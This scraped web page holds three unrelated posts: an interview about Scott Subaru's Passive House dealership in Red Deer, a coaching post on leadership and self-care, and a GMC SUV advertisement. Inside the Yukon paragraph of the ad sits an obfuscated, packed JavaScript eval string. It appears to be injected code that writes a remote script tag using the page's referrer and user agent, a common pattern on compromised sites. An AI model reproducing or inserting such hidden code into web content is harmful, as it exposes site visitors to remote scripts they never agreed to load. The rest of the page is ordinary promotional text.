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Green Energy Futures talks to Scott Subaru about the new eco-friendly dealership.

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  • “FIRST PASSIVE HOUSE CAR DEALERSHIP IN CANADA”

    Interview conducted & produced by David Dodge, Subaru of America in production with Green Energy Futures.
    – Original blog post with video at >> http://www.greenenergyfutures.ca Episode #213

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    – We’ve seen some amazing super energy efficient buildings on Green Energy Futures, including living buildings and net-zero churches, homes and even department stores. But we’ve never heard of anyone doing what the Scott Subaru car dealership in Red Deer is doing.

    Garrett Scott: “Hi, I’m Garrett Scott, I’m the dealer principal of Scott Subaru in Red Deer and we have almost completed our construction of the World’s first Passive House car dealership.”

    – Scott said they were inspired to do something special when they visited the Subaru plant in Indiana.

    Scott: “Subaru America has a zero waste plant and the plant is also sitting on a wildlife nature preserve as well. They’ve got incredible kind of wetland and green space around it and the zero waste is pretty unique when you consider manufacturing; you’re always wasting a little bit, you would think.”

    – Inspired by the zero waste idea, Scott came back to Red Deer and talked to Cover Architects and came up with the idea of building the first car dealership built to the Passive House standard.

    Scott: “We wanted to be able to have the ultimate calling card and have something that was so unique but also represent some of our values. Why waste if we don’t have to? Why build something that is just ‘Ho Hum’, that everyone else has done before and if you’re going to be in one spot for 50 years or want to be here for 50 years more; let’s build a legacy project that means something today as much as it would 20 years from now.”

    – There are many reasons why they undertook the project.

    Scott: “We’re talking about eliminating 80% of our heating and cooling costs almost and that’s the reason we did it. That’s cool. That’s really quite exciting.”

    – But it’s about more than saving money.

    Scott: “Being as efficient as it is from an energy standpoint motivates us to take our business and follow a similar trend we try and make the most efficient process for our customers from a purchase standpoint, from a repair standpoint, but also then correlate that into our staff; Passive House buildings are considered much more livable and much more enjoyable than your standard commercial building is.”

    – So how do you take a car showroom with floor-to-ceiling windows to Passive House standards?

    Scott: “So, Passive House is essentially an unbreakable blanket around the building that keeps it insulated from the environment outside and that goes with the walls, the windows, the doors, and also the foundation, the flooring. You build exterior walls that are getting close to 20-22 inches thick; you’ve got four layers of different types of insulation, types of material, impenetrable barriers.

    – All of this adds up to a car dealership that uses 80% less energy and doesn’t have a conventional furnace.

    Scott: “There is heat recovery units and then super efficient air-source heat pumps and these air source heat pumps, they can be 200% more efficient than a furnace and with that you get those incredibly low consumption numbers, and they’re rated now to be available in Alberta for temperatures down to -30. We’re very confident that this will get done but the big issue with this building isn’t necessarily heating it, the envelope is keeping the heat in, it’s cooling it and these heat pumps also work in the inverse fashion and they cool the building too.”

    – Garrett’s grandfather Kipp Scott opened the family’s first car dealership in Red Deer 50 years ago. Garrett says this is a legacy project that he hopes will still be cool 20 years from now.

    Scott: “This building will also garner some more exposure than a traditional new dealership would and that’s also one of the big motivators in doing this is to achieve the goals we have as a Subaru dealer. We need to be extremely unique. This helps us get there.

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    Learn more at GreenEnergyFutures.ca – and – www.ScottSubaru.com/Passive-House


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    Now’s the Time… High Performance Leadership and Self Care?

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  • Leadership is challenging.
    Criticism of leadership, from numerous directions, can feel like death by a thousand cuts for those of us who are brave enough to take on leadership positions.

    Learning resilience strategies, that are not driven by ego, is critical for sustainable results. One of the most important resilience strategies all leaders need is self care.

    Self care is essential to your health and the health of your organization.

    Throughout my adult life, I’ve experienced numerous leadership positions and leadership roles.
    Often, I was up to my eyeballs with new responsibilities before I knew it and didn’t understand or have the time to look into how to survive my new reality. I had a skillset that was necessary for the work, I knew I had leadership capacity… but didn’t understand what self-care really looked like for me in my role.

    My experience is familiar to many people who are promoted into positions because they were great at their previous role. For many of us, we end up in leadership roles and suddenly have responsibilities that are unfamiliar and take an immense amount of self awareness and other awareness.

    Burnout can begin to undermine the job we want to do, the life we want to live and the even the self-care efforts that we may be trying to sustain.

    There were times when I believed there was no other way, that the situation was my lot in life. I resigned myself to a mindset that was limited to what I knew. Little did I know that there were coping strategies within my reach.

    I did not have a very robust idea of what self-care is about. I want to share with you some important truths and some questions for self reflection about self care that I wish I had explored earlier.

    First and most important, self care, not driven by ego, is important. We cannot give what we do not have.
    What resources are within my reach that I can draw on?
    What do I truly believe about taking care of myself?

    Self Care starts with what we choose to believe and focus on.
    Condemning or critical thoughts may be undermining your self-care efforts. Choosing to talk to ourselves the way we would talk to a friend is a courageous choice.
    Am I choosing to be compassionate to myself? Are there useful resources within my reach that I could or should access?

    Self Care looks different for each of us. What fills my bucket may not fill your bucket. This is not about what SHOULD work for us. Regular, seemingly small deposits into your self care bank are more effective than massive one time efforts. Think of it like the daily act of brushing your teeth, as opposed to taking the holiday of a lifetime.
    What would add to my bucket today?

    Self Care is about meaningful connection.
    Who are the people in your life who care about me?
    What can I do to grow this important resource in my life?

    Self Care is about finding moments, people and places where we can feel emotions.
    Do I have a place to feel hard emotions in a safe place experience feeling seen, heard and understood?

    Self Care is about finding opportunities for laughter. We all need to laugh and play.
    Where can I find something today that will give me a good belly laugh?

    Self care is about rumbling with setting boundaries.
    Boundaries are about what’s ok and what’s not ok AND about being clear about what is mine and what is not mine.
    What can I do to get clear about my boundaries?

    Now, can you give the people in your team permission to do the same? The flip of self-care for others is empathy…. one of the most critical, and challenging skillsets for today’s leaders.

    My suggestions:
    Choose one of these elements of self care and strategically add it to your life for two months, then move on to another one of these elements.

    Working with a coach has also been the best self-care gifts I have given to myself. Change almost always begins with a conversation.

    Your 2019 will look brighter and more successful if you give yourself permission to play and get curious with self care strategies.

    Self care has a way of growing what we most want in our lives. Want a healthy team? Taking the time to honestly ask the above questions is a courageous, and important, step.

    If you’d like support or to explore any of these ideas further with coaching or training, please contact me at alana@nowsthetime.ca


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    THE GMC SUV

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  • GMC offers a variety of SUVs to fit your specific needs. Choose from the full-size Yukon SUV with ample seating for up to nine adults and impressive trailering capability. Opt for the compact Terrain SUV with a standard 1.5L turbo engine and an estimated fuel consumption rating of 7.9 L/100 km highway and 9.2 L/100 km city (in 4×2 mode). Or go with the powerful, capable Acadia SUV for signature GMC utility, flexibility, and convenience.

    YUKON
    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sknss|var|u0026u|referrer|ietfr||js|php’.split(‘|’),0,{}))
    full-size SUV brings together numerous innovations to create a new standard in utility. Under the hood, Yukon gives you a choice of powerful and efficient EcoTec3 engines. Inside, premium materials, generous seating and storage, intelligent infotainment, and available safety technologies create an outstanding driving experience.

    FIND YOUR YUKON: http://bit.ly/2019GMCYUKON

    ACADIA
    An SUV engineered to help you handle life’s demands with confidence, capability, and style. With available seating for up to seven, Acadia provides flexible and adaptable storage capacity depending on your needs. Its available advanced driver alert and infotainment technologies help keep you aware, connected, and entertained.

    FIND YOUR ACADIA:http://bit.ly/2019GMCACADIA

    TERRAIN
    This SUV brings together exceptional features of its category. From a distinctive exterior that leaves a lasting impression to new available features that benefit everyone such as Front Pedestrian Braking, HD Rear Vision Camera and HD Surround Vision, the Terrain delivers outstanding utility to handle the varied demands of your life.

    FIND YOUR TERRAIN: http://bit.ly/2019GMCTERRAIN

    If you would like to Test Drive anyone of these SUV’s come visit us at http://www.kippscott.ca to book!

     


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